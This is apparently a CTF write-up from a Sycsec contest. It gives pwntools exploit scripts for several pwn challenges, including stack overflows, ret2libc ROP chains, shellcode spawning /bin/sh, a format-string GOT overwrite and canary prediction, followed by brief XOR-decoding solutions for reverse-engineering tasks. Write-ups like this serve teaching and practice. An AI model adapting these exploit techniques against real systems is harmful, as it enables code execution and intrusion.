1876237120,626172452,1627047528,1148123460,1348630515,1698481812,1446873642,4042654229,4228750952,999297977,3552395832,2965839588,2993162711,2002311193,1338287959,2340833802,2036214335,1615808961,958146830,1952401696,492154317,1317385040,537277267,3393053693,3036404066,1167705348,2797839788,1251470952,1961291670,3182242798,3808389609,2352252557,3598388818,838095969,1866892340,2674355309,1376111052,3358914062,461352865,1783381454,1993597578,1271383177,2234587463,4081359548,1689410111,4067056375,3285718523,3734989195,2508740453,2862561332,4160217917,3484830478,429421860,2404102246,4187015464,3046521226,2522208042,2138126411,292726535,4003967769,461802762,2675027708,718837678,1568030890,2846503828,4282272406,4062505778,1981908433,1283603189,4113151761,1820754298,1778870069,180426342,2373682290,173348890,3732714533,1692672433,1383715836,3071388801,1699434732,2025585879,1856716817,1482988535,507687879,2114539938,2295960531,1034475256,661384657,265513629,2619999386,909106051,2930653276,3805388808,207958940,544893102,2414669217,3137837770,812512933,2668067210,3248501708,334422578,2748607715,1766441143,1581762636,3122895940,1933908340,160370242,1114312470,66011321,4239365568,891117060,3632701542,1469123062,2873832673,1246879161,3402226432,2484827592,528672899,196357980,210761372,2432808873,146191013,2292602129,1250087457,2599643068,3549592068,2887559002,731002342
Congrats! Your flag is: SYC

# PWN

# nc_pwntools

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r = remote('pwn.node.game.sycsec.com',30573)
s = b'\x53\x79\x63\x6c\x6f\x76\x65\x72'
pl = b'a'*(100-len(s)) + s
r.sendline(pl)
print(r.recvuntil(b'2.This challenge is harder than first one\n'))
equ = r.recvline()[:-3]
result = eval(equ)
r.sendline(str(result))
print(r.recv())
print(r.recv())
r.interactive()
r.sendline('')

# password

from pwn import*
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
res = b'Wrong'
while b'Wrong' in res:
    io = remote('pwn.node.game.sycsec.com',30726)
    # io = process('./password')
    io.sendafter(b'name:\n',b'a'*(0x28) + p64(0x04012F3))
    io.recvuntil(b'please enter password:\n')
    io.sendline(b'\x00')
    # sleep(0.1)
    res = io.recvline()
    sleep(0.1)
    if b'Correct' in res:
        io.interactive()

# ret2text

from pwn import *
context.log_level = 'debug'
r = process('./ret2text')
# r = remote('pwn.node.game.sycsec.com',30691)
def debug():
    gdb.attach(r)
    pause()
elf = ELF('ret2text')
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)
it      = lambda                    :r.interactive()
pad = p64(0)*9 + p64(1)
backdoor = b'\x27\x52'
pl1 = pad + p64(0) + backdoor
se(pl1)
r.interactive()

# write1

n
from pwn import *
r = gdb.debug('./chal')
# r = remote('pwn.node.game.sycsec.com',30157)
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)
it      = lambda                    :r.interactive()
################
# s
# 41
# -01
# 13 -> 12
# 40
# -28
# 4d ->25
# -1
################
def payload():
	sl('s')
	sl('41')
	sl('-1')
	sl('40')
	sl('-28')
	sl('-1')
payload()
it()

# ret2libc

n
from LibcSearcher import*
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r = remote('pwn.node.game.sycsec.com',30680)
# r = gdb.debug('./chal')
# r = process('./chal')
elf = ELF('./chal')
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
pack    = lambda str, addr          :p32(addr)
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5)
it      = lambda                    :r.interactive()
rdi_ret =0x0000000000401333
rsi_r15_ret =0x0000000000401331
ret = 0x000000000040101a
write_got=elf.got['write']
write_plt=elf.plt['write']
ru(b'try this\n')
ru(b'This challenge no backdoor!')
gadget_1 = 0x40132A
gadget_2 = 0x401310
payload = b'\0'*(0x18)
payload += p64(gadget_1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(1) # r12
payload += p64(write_got) # r13
payload += p64(8) # r14
payload += p64(write_got) # r15
payload += p64(gadget_2)
payload += b'\0'*(0x8+8*6)
payload += p64(0x04010D0)
r.sendline(payload)
write = lic(b'\x7f')
print(hex(write))
libc = LibcSearcher('write',write)
base = write - libc.dump('write')
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
payload2 = b'\0'*(0x18)+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system)
sl(payload2)
it()

# ezpwn

# from LibcSearcher import*
from pwn import *
# from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
# r = remote("pwn.node.game.sycsec.com",31041)
# r = gdb.debug('./pwn')
r = process('pwn')
# libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('/home/h711/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
elf = ELF('pwn')
# ld-linux-x86-64.so.2
# srand = libc.srand (libc.time (0)) #设置种子
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
pack    = lambda str, addr          :p32(addr)
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it      = lambda                    :r.interactive()
shellcode = asm('''
	xor rax,rax
	mov dx,0x100
	syscall
''')
print(len(shellcode))
paylaod =b'/bin/sh\x00' + shellcode
print(len(paylaod))
se(paylaod)
# gdb.attach(r)
shellcode = b'\x90'*9+asm(shellcraft.sh())
# pause()
se(shellcode)
# pause()
it()

# write2

n
from LibcSearcher import*
from pwn import *
# from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
r = remote('pwn.node.game.sycsec.com',30069)
# r = gdb.debug('./chal')
# r = process('./chal')
elf = ELF('./chal')
# ld-linux-x86-64.so.2
# srand = libc.srand (libc.time (0)) #设置种子
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
pack    = lambda str, addr          :p32(addr)
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it      = lambda                    :r.interactive()
index_addr = int(str(rl())[15:-3],16) + 0x4
index_addr = hex(index_addr)
print(index_addr)
print(len(str(index_addr)))
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
sl(shellcode)
sla(b'index:\n',b'40')
sl(hex(int(index_addr[-2:],16)))
sla(b'index:\n',b'41')
sl(hex(int(index_addr[-4:-2],16)))
sla(b'index:\n',b'42')
sl(hex(int(index_addr[-6:-4],16)))
sla(b'index:\n','43')
sl(hex(int(index_addr[-8:-6],16)))
sla(b'index:\n',b'44')
sl(hex(int(index_addr[-10:-8],16)))
sla(b'index:\n',b'45')
sl(hex(int(index_addr[-12:-10],16)))
sla(b'index:\n',b'-1')
it()

# fmt1.0

n
from LibcSearcher import*
from pwn import *
# from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
r = remote('pwn.node.game.sycsec.com',31898)
# r = gdb.debug('./fmt1.0')
# r = process('./fmt1.0')
elf = ELF('./fmt1.0')
# ld-linux-x86-64.so.2
# srand = libc.srand (libc.time (0)) #设置种子
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic 	= lambda data               :uu64(ru(data)[-6:])
pack    = lambda str, addr          :p32(addr)
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it      = lambda                    :r.interactive()
ret_addr = 0x401257
print_got = elf.got['printf']
execve = elf.plt['execve']
payload= (fmtstr_payload(6,{0x404020:0x4010D0})).ljust(0x58,b'\x00')+p64(ret_addr)
r.send(payload)
payload =b'/bin/sh\x00'
r.send(payload)
r.interactive()

# white_canary

n
from LibcSearcher import*
from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./chal')
# ld-linux-x86-64.so.2
# srand = libc.srand (libc.time (0)) #设置种子
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') 
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims             :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
lic     = lambda data               :uu64(ru(data)[-6:])
pack    = lambda str, addr          :p32(addr)
padding = lambda lenth              :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5)
it      = lambda                    :r.interactive()
ret_addr = 0x401257
while True:
    seed = libc.time(0) % 60
    v1 = libc.srand(seed)
    v2 = libc.rand()
    v3 = libc.rand()
    canary_pre =(((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32)+ ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32)
    canary = int(str(hex(canary_pre))[14:30],16)
    print(hex(canary))
    # r = process('./chal')
    # gdb.attach(r)
    r = remote('pwn.node.game.sycsec.com',31883)
    payload = asm(shellcraft.open('./flag')) 
    payload += asm(shellcraft.read('rax',0x4040E0,0x50))
    payload += asm(shellcraft.write(1,0x4040E0,0x50))
    se(payload)
    payload = b'a'*0x8+p64(canary)+b'a'*0x8+p64(0x4040E0)
    sea(b'tell me something:\n',payload)
    res = r.recvall()
    sleep(1)
    if b'stack' in res:
        continue
    else:
        it()
        break

# re

# shiftjmp

花指令

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]
  puts("flag:");
  for ( i = 0; i <= 33; ++i )
  {
    if ( rodata[i] ^ i ^ getchar() )
    {
      puts("no");
      return 0;
    }
  }
  puts("yes");
  return 0;
}
// rodata = SXAxS6jd8doTxBQ{x"Ma',27h,'csE-|El,o/{^\
def get_flag():
    rodata = "SXAxS6jd8doTxBQ{x\"Ma',27h,'csE-|El,o/{^\\"
    flag = ""
    for i in range(len(rodata)):
        flag += chr(ord(rodata[i]) ^ i)
    return flag
if __name__ == "__main__":
    print(get_flag())

# 幸运数字

直接写个脚本,往程序循环加一输入数字,能得到 flag

# 砍树

image-20231030090452684

key:Syclove

加密算法:

image-20231030090659388

002020171B360E362617042A2907261552332D0F3A271106330746173D0A3C382E2218

解题脚本:

n
def A0OWO0A(a1, a2):
    for i in range(34):
        a1[i] = a1[i] ^ a2[i % 7]
    return a1
a1 = bytearray.fromhex('002020171B360E362617042A2907261552332D0F3A271106330746173D0A3C382E2218')
a2 = bytearray(b'Syclove')
result = A0OWO0A(a1, a2)
print(result)
更新于 阅读次数